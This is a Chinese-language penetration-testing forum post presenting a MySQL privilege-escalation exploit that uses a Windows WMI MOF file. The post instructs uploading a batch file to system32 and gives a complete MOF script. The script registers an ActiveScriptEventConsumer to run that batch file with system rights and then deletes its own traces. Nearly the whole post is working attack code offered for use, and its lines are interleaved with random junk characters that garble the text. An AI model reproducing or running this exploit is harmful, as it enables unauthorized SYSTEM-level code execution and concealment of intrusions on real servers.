中国网络渗透测试联盟
标题:
Mysql 提权即时无错Mof exp
[打印本页]
作者:
admin
时间:
2013-2-14 00:05
标题:
Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。
6 P# e3 O4 d4 H; @( b0 Y
需要将要运行的命令写入到bat上传到system32目录,然后执行。
+ `1 b4 H$ Z4 R
/ q& f1 {1 a/ w3 e! o! n
这个sql提权MOF需要运行 system下的文件,不能定义路径。
5 \6 b! `- r& O! c( L/ t7 d( K% P
需要将要运行的命令写入到bat上传到system32目录,然后执行。
' M- R a* U1 J. M* r( j
8 V* K; ^+ V. T% [
#pragma
M$ h U* Y+ `8 E: ?
namespace("\\\\.\\root\\cimv2")
+ `; ?# E- x: S5 n; X+ \
class
. `7 t( G/ h6 B8 v& {
MyClass547
/ F6 {8 x$ ~- @8 n
{ [key]
% U4 i. j4 j& H; g! O) H5 v
string
% J) B/ ^6 q% V
Name;
% a! y! i! V x. j
};
& q7 a* y5 t$ t, p T* i+ ^
class
* A3 A h- b( e
ActiveScriptEventConsumer
% x) u$ [& N! d4 a) a& u9 Y* ]. D% {
: __EventConsumer { [key]
5 ?9 U2 C! j$ L' z0 F' m2 w
string
4 c- {) t0 M1 U1 L/ I
Name; [not_null]
6 \1 s( x2 {$ {
string
2 i& e2 U8 }8 p# f. [$ v
ScriptingEngine; string
. m: F5 W- u. I$ f1 X4 @, A
ScriptFileName; [template]
; W9 J: ]5 v; b7 v) Y
string
# \1 b7 H) o! D. R* l% k
ScriptText; uint32 KillTimeout;
! Z; d F( ?+ D. m: X
}; instance of __Win32Provider as $P {
- M8 d- H/ O& c* E, v1 N6 N
Name
& e, x/ b6 t- n! }, I; K1 d
=
/ l: f- V+ B# z# m5 c, Z9 c
"ActiveScriptEventConsumer"; CLSID =
! `+ E1 I- ^' p) O* _* d
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
6 W& r! A7 N) E, j, I
PerUserInitialization
8 Y& _% C {3 \2 J+ p3 F8 {9 l
= TRUE;
$ c3 T1 b3 Y) E% r7 ^
}; instance of __EventConsumerProviderRegistration { Provider
# ^4 E0 s9 [/ u3 Q( P% r0 X
= $P; ConsumerClassNames
' n! g* i3 V0 I$ X! J: ~9 @/ a, o, i
=
. {4 q8 t3 `+ z4 i
{"ActiveScriptEventConsumer"};
4 p$ O, h' O: u+ f+ C6 M
};
6 }" e6 k E* n- P
Instance of ActiveScriptEventConsumer
/ T. i% M+ J3 r, [0 ~7 ` i
as $cons { Name
1 ~; w( z) T6 a% a
=
3 M# c" U" C! `: j/ ]2 K( O) y( ?
"ASEC"; ScriptingEngine
" ~3 W/ A# r7 K" V
=
# `* Q' \6 ]/ \% I
"JScript"; ScriptText
Q- B( K7 P6 x A7 T7 F1 y. s
=
% s. o, X/ W' }5 L
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
) M0 l* c h# J+ P( k' P. s
Instance of ActiveScriptEventConsumer
: L6 G5 }" }; ~7 a- s7 J
as $cons2 { Name
3 h" k! A3 X. _. f- p
=
0 ^6 L# a' e+ P$ V ^' A0 C5 _
"qndASEC"; ScriptingEngine
0 \3 ^% ^7 g. b
=
: \3 z: B/ }; t% I1 @ ^1 c% ~
"JScript"; ScriptText
4 ~7 S0 A% d1 `
=
" f3 p/ S3 D, d9 Q; d! @
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
0 h6 @; W" @( w( U# z; [
}; instance of __EventFilter as $Filt { Name
+ |/ R" D* L- T7 N
=
- ^6 y: m1 H" }* F+ u
"instfilt"; Query
/ s; \$ O( u7 x1 n9 V& i6 j
=
2 |3 |/ b7 S8 X6 H& R
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
* t4 ~' Q0 G! I! t. I- m: H
=
& ?; J; {* c0 v; T1 O \! ]
"WQL"; }; instance of __EventFilter as $Filt2 { Name
! N9 i/ s: V0 m* z% H- w7 Z1 T+ g
=
2 `0 J4 _' Z7 k8 H2 Z6 W6 V& x
"qndfilt"; Query
; t! e. Y% j8 Q1 ~" O& G, O# [
=
' k! H1 d+ D0 l: Y6 M# z
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
% T t q+ }! Z+ p$ M
=
5 `* b" v' W5 E. C. w9 V# k9 h( T
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
/ Y: ^- r( V5 h9 x; B
= $cons; Filter
/ e" a5 K- t0 N6 R% b
= $Filt;
' \3 ^* {8 ^3 P) P
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
' a- T, k) _' u
= $cons2; Filter
8 `; }4 ]0 w r8 t
= $Filt2;
% F3 M9 T% v* b0 L6 V6 f& `
}; instance of MyClass547
5 H: c/ w/ ^; F% @
as $MyClass { Name
2 ~' z! O" w$ g
=
8 Y9 A% S8 i8 C! n; ^; e3 Z' J5 ]
"ClassConsumer";
* G1 @1 w) q5 l
};
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2